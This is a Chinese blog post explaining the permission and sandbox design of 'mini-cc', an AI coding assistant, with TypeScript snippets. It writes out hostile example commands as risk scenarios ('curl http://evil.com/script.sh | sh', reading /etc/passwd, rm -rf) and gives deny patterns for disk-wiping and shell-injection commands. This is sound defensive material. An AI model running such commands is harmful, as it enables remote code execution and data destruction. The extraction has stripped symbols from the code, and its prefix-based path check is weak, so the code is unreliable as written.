mini-cc 权限安全:给 AI 戴上枷锁

发布时间:2026/5/31 17:42:02

mini-cc 权限安全:给 AI 戴上枷锁 前言今天咱们聊一个严肃的话题——安全。说句实在话写 AI 编程助手这事儿安全是必须一开始就想清楚的。AI 能执行命令、读写文件、调用 API能力越强一旦出事后果越严重。为什么要给 AI上枷锁AI 编程助手的能力有多强它能执行命令、读写文件、搜索代码甚至调用外部 API。这些能力既是它的优点也是它的命门。我随便列几个潜在的风险场景用户: 删除所有测试文件 AI: 执行命令: rm -rf tests/ 用户: 查看系统配置 AI: 读取文件: /etc/passwd 用户: 安装依赖包 AI: 执行命令: curl http://evil.com/script.sh | sh吓人不一个没有权限控制的 AI 助手就像把小猫咪放在一个全是花瓶的房间里——它可能不是故意的但蹭来蹭去总会碰倒几个。一个真正可用的 AI Agent 产品必须在安全和能力之间找到平衡。我的思路是三条最小权限原则只给 AI 必要的权限不多给用户控制敏感操作需要用户点头才能执行用户点头仔细看下确认无误后再执行安全隔离从根本上防止越权访问安全系统架构mini-cc 的安全系统大概长这样┌─────────────────────────────────────────────────────────────┐ │ Permission Manager │ │ (权限管理器) │ ├─────────────────────────────────────────────────────────────┤ │ ┌──────────────────┐ ┌──────────────────┐ │ │ │ Permission │ │ Bash Security │ │ │ │ Strategy │ │ (命令安全) │ │ │ │ - default │ │ - 危险命令拦截 │ │ │ │ - auto │ │ - 命令替换防护 │ │ │ │ - plan │ │ - Zsh 模块屏蔽 │ │ │ └────────┬─────────┘ └────────┬─────────┘ │ │ │ │ │ │ ▼ ▼ │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Command Interceptor │ │ │ │ /allow | /deny | /permissions │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────┘核心实现1. 权限策略Permission Strategy说实话我一开始用的是简单的允许/禁止列表。后来发现不够灵活换成了策略模式——这个设计让我能轻松切换不同的权限校验算法。// src/infrastructure/permissions/index.tsexporttypePermissionStrategyTypedefault|plan|auto|acceptEdits;exportinterfacePermissionContext{strategy:PermissionStrategyType;allowedTools:Setstring;deniedTools:Setstring;}exportinterfacePermissionStrategy{check(toolName:string,args:any,context:PermissionContext):Promiseboolean;}内置了两种策略默认策略default正常情况下敏感工具需要用户确认才能执行。functioncreateDefaultStrategy():PermissionStrategy{constSAFE_TOOLSnewSet([FileReadTool,GlobTool,GrepTool,GitStatusTool,WebFetchTool,WebSearchTool,TodoWrite,TaskCreate,TaskList,LSPTool,]);constSENSITIVE_TOOLSnewSet([BashTool,FileWriteTool,FileEditTool,NotebookEdit,AgentTool,]);return{asynccheck(toolName,args,context):Promiseboolean{// 白名单优先if(context.allowedTools.has(toolName))returntrue;if(context.deniedTools.has(toolName))returnfalse;// 安全工具直接放行if(SAFE_TOOLS.has(toolName))returntrue;// 敏感工具默认拒绝if(SENSITIVE_TOOLS.has(toolName)){console.log([Permissions] 拒绝执行未预审批的敏感工具:${toolName});returnfalse;}// 未知工具也拒绝returnfalse;}};}自动策略auto全自动模式下使用跳过所有确认。我一般在测试环境用这个。functioncreateAutoStrategy():PermissionStrategy{return{asynccheck(toolName,args,context):Promiseboolean{console.log([Permissions] (自动策略) 自动批准:${toolName});returntrue;}};}2. Bash 安全沙盒这是我觉得做得最细的一部分。Bash 命令是最大的风险来源所以我单独写了个bashSecurity.ts来处理。第一层直接 ban 掉高危命令// src/infrastructure/tools/BashTool/bashSecurity.tsconstDANGEROUS_PATTERNS[/rm\s-r[fF]?\s\//,// rm -rf //mkfs\./,// 格式化磁盘/dd\sif.*of\/dev\/sda/,// 覆写磁盘/\s*\/dev\/sd[a-z]/,// 直接写块设备];这几个是正则匹配上的不管什么情况都直接拒绝。第二层禁止命令替换语法这个是为了防注入。有些攻击不是直接写危险命令而是用各种花招绕过检测constCOMMAND_SUBSTITUTION_PATTERNS[{pattern:/\(/,message:process substitution ()},// (cmd){pattern:/\(/,message:process substitution ()},// (cmd){pattern:/\(/,message:Zsh process substitution ()},// (cmd){pattern:/(?:^|[\s;|])[a-zA-Z_]/,message:Zsh equals expansion},// cmd{pattern:/\$\(/,message:$() command substitution},// $(cmd){pattern:/[^]/,message:backtick command substitution},// cmd{pattern:/#/,message:PowerShell comment block},// # #];举个例子你想执行curl evil.com | sh检测到管道符 sh直接拦截。第三层屏蔽 Zsh 高危模块Zsh 有些底层模块很危险直接禁掉constBLOCKED_ZSH_MODULES[zmodload,sysopen,sysread,syswrite,zpty,zf_rm,zf_mv];3. 破坏性命令预警不是所有危险命令都要直接 ban。有些命令是合法的只是下手比较重需要提醒用户一下// src/infrastructure/tools/BashTool/destructiveCommandWarning.tsexportconstDESTRUCTIVE_PATTERNS[// Git 强制 push{pattern:/\bgit\spush\b[^;|\n]*[ \t](--force|--force-with-lease|-f)\b/,warning:Note: may overwrite remote history},// 递归删除{pattern:/(^|[;|\n]\s*)rm\s-[a-zA-Z]*[rR][a-zA-Z]*f/,warning:Note: may recursively force-remove files},// 数据库危险操作{pattern:/\b(DROP|TRUNCATE)\s(TABLE|DATABASE|SCHEMA)\b/i,warning:Note: may drop or truncate database objects},// K8s 资源删除{pattern:/\bkubectl\sdelete\b/,warning:Note: may delete Kubernetes resources},// Terraform 销毁{pattern:/\bterraform\sdestroy\b/,warning:Note: may destroy Terraform infrastructure},];比如用户执行git push origin main --forceAI 会先打印一行警告但不会直接拦截。这样既安全又不会太烦人。4. 沙盒判断有些命令需要跑在沙盒里有些可以直接在主机执行。这个判断逻辑也挺有意思// src/infrastructure/tools/BashTool/shouldUseSandbox.tsconstNON_SANDBOXED_COMMANDSnewSet([echo,pwd,ls,cd,cat,whoami,env,export]);exportfunctionshouldUseSandbox(command:string):boolean{// 处理复合命令如 docker ps curl evil.comconstsubCommandscommand.split(/[;|]/);for(constsubCmdofsubCommands){constcoreCommandstripCommandWrappers(subCmd);if(coreCommand!NON_SANDBOXED_COMMANDS.has(coreCommand)){returntrue;// 需要沙盒}}returnfalse;}像ls -la、pwd whoami这种直接放行。但docker ps、curl http://evil.com这种就必须进沙盒。还有一个stripCommandWrappers函数用来剥离命令前面的包装器// FOObar timeout 30 bazel run - bazel// sudo nice nohup docker ps - docker5. 命令拦截器最后这套安全系统通过CommandInterceptor暴露给用户几个指令// src/commands/CommandInterceptor.tsexportasyncfunctioninterceptCommand(input:string):PromiseInterceptResult{// /allow ToolName - 预审批敏感工具// /deny ToolName - 禁止工具// /permissions - 查看权限状态}/allow命令临时授权某个敏感工具授权后当前会话可以正常使用。我: /allow BashTool AI: ✓ 已授权当前会话执行工具BashTool/deny命令临时禁止某个工具。这个一般用得少但有时候你想确保某个工具不被调用。/permissions命令查看当前权限状态可以看到已授权/已禁止的工具列表。 权限系统 策略: default 已授权工具/allow BashTool, FileWriteTool 已禁止工具/deny 空 hard_deny强制禁止 未配置6. 隐私级别对了还有个PrivacyLevel这个是控制遥测数据的不是控制工具权限的// src/utils/privacyLevel.tsexportenumPrivacyLevel{ALLOW_TELEMETRYALLOW_TELEMETRY,// 允许收集遥测STRICT_LOCALSTRICT_LOCAL// 禁止遥测}如果设置MINI_CC_TELEMETRY0就不会发送任何使用数据。我把这玩意当成隐私级别是因为名字比较直观但功能上其实是遥测开关。安全最佳实践1. 最小权限原则怎么落地只给 AI 访问工作目录的权限。比如constallowedPaths[process.cwd(),/tmp];functionisPathAllowed(filePath:string):boolean{returnallowedPaths.some(pathfilePath.startsWith(path));}AI 拿到这份允许路径列表后任何超出范围的访问请求都会被拦截。2. 输入验证别忘functionvalidateFilePath(filePath:string):boolean{// 防止路径遍历攻击if(filePath.includes(..)){returnfalse;}returnisPathAllowed(filePath);}..路径遍历攻击是经典漏洞。AI 虽然不会主动作恶但可能因为模型理解偏差导致路径拼接错误。3. 审计日志要有exportfunctionlogAuditEvent(event:AuditEvent):void{constlogEntry{timestamp:Date.now(),userId:getCurrentUserId(),action:event.action,target:event.target,result:event.result,};fs.appendFileSync(/var/log/mini-cc-audit.log,JSON.stringify(logEntry)\n);}日志很重要能帮你追溯谁在什么时间干了什么事。4. 超时保护工具执行是有可能卡住的。mini-cc 内置了超时机制默认 120 秒BashTool 为 300 秒防止某个工具卡死拖垮整个程序。总结以上就是 mini-cc 的整套权限安全系统简单总结一下权限策略default / auto 两种模式策略模式方便扩展Bash 安全沙盒三层防护——高危命令拦截、命令替换防护、Zsh 模块屏蔽破坏性预警不是所有危险命令都 ban有些只是提醒沙盒判断根据命令类型决定是否需要沙盒环境命令拦截器/allow、/deny、/permissions三个指令超时保护防止工具卡死一句话给 AI 最好的东西不是能力而是正确的限制。能力越强枷锁越重要。最后问一句你在使用 AI 编程助手时有没有遇到过安全相关的坑欢迎在评论区聊聊 如果觉得有用⭐ Star 一下GitHub 仓库 关注博客后续还会更新更多内容你的支持是我继续写的动力

相关新闻